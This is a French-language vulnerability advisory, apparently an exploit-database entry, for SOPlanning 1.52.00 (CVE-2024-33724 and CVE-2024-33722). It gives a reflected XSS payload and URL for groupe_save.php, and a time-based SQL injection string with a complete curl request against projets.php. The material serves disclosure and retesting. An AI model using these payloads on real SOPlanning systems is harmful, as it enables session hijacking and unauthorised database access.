
SOPlanning 1.52.00 CSRF/SQLi/XSS (CVE-2024-33722, CVE-2024-33724)
Titre de l'exploit : SOPlanning v1.52.00 'groupe_save.php' XSS (XSS réfléchi)
Application : SOPlanning
Version : 1.52.00
Date : 22/04/24
Auteur de l'exploit : Joseph McPeters (Liquidsky)
Page d'accueil du fournisseur : https://www.soplanning.org/en/
Lien du logiciel : https://sourceforge.net/projects/soplanning/
Testé sur : Linux
CVE : CVE-2024-33724
Exploit : https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-XSS-README.txt
Description : SOPlanning v1.52.00 est vulnérable à une XSS via le paramètre 'groupe_id' ; un attaquant distant non authentifié peut détourner le compte administrateur ou d'autres utilisateurs. L'attaquant distant peut détourner la session ou les identifiants d'un utilisateur et prendre le contrôle total de la plateforme.
Exemple de payload : "><!--
Lien XSS réfléchi : /soplanning/www/process/groupe_save.php?saved=1&groupe_id="><!--&nom=Project+New
Analyse : La page d'accueil prend en compte le paramètre d'entrée utilisateur puis redirige vers une page où la XSS est affichée ; le payload inclus dans l'exploit échappe la variable où il est stocké et commente le reste pour mener à bien une attaque XSS réfléchie valide contre tout utilisateur authentifié, y compris l'administrateur.
Titre de l'exploit : SOPlanning v1.52.00 'projets.php' SQLi
Application : SOPlanning
Version : 1.52.00
Date : 22/04/24
Auteur de l'exploit : Joseph McPeters (Liquidsky alias fuzzlove)
Page d'accueil du fournisseur : https://www.soplanning.org/en/
Lien du logiciel : https://sourceforge.net/projects/soplanning/
Testé sur : Linux
CVE : CVE-2024-33722
Exploit : https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-sqli-README.txt
Description : SOPlanning v1.52.00 est vulnérable à une injection SQL authentifiée via la page 'projects.php'.
Instructions : Authentifiez-vous sur l'hôte ; les identifiants peuvent être obtenus à l'aide d'un exploit CSRF (plus d'informations incluses). Une fois des identifiants valides obtenus, utilisez une requête GET/POST pour envoyer les paramètres valides correspondant à une injection SQL valide.
Paramètres de requête vulnérables pour la requête vers "/www/projets.php" :
filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test
Les paramètres ci-dessus peuvent être envoyés sous forme de requête GET ou POST valide pour déclencher l'injection SQL. Exemple de requête Curl pour retester l'injection SQL :
curl -i -s -k -X $'POST'
-H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 130' -H $'Origin: http://127.0.0.1' -H $'Connection: close' -H $'Referer: http://127.0.0.1/soplanning/www/projets.php' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1'
-b $'dateDebut=23/04/2024; dateFin=23/06/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; yposProjets=33; PHPSESSID=ovpbclvbc87uh7anfbq2luf9bi; soplanningplanning_=hhrtf0rgs562vm8rhn5i641481; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D'
--data-binary $'filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test'
$'http://127.0.0.1/soplanning/www/projets.php'
Remarque : Les cookies doivent être authentifiés et la requête doit être valide pour une injection SQL valide. Cette requête curl peut être utilisée avec un proxy pour reconstruire une requête valide.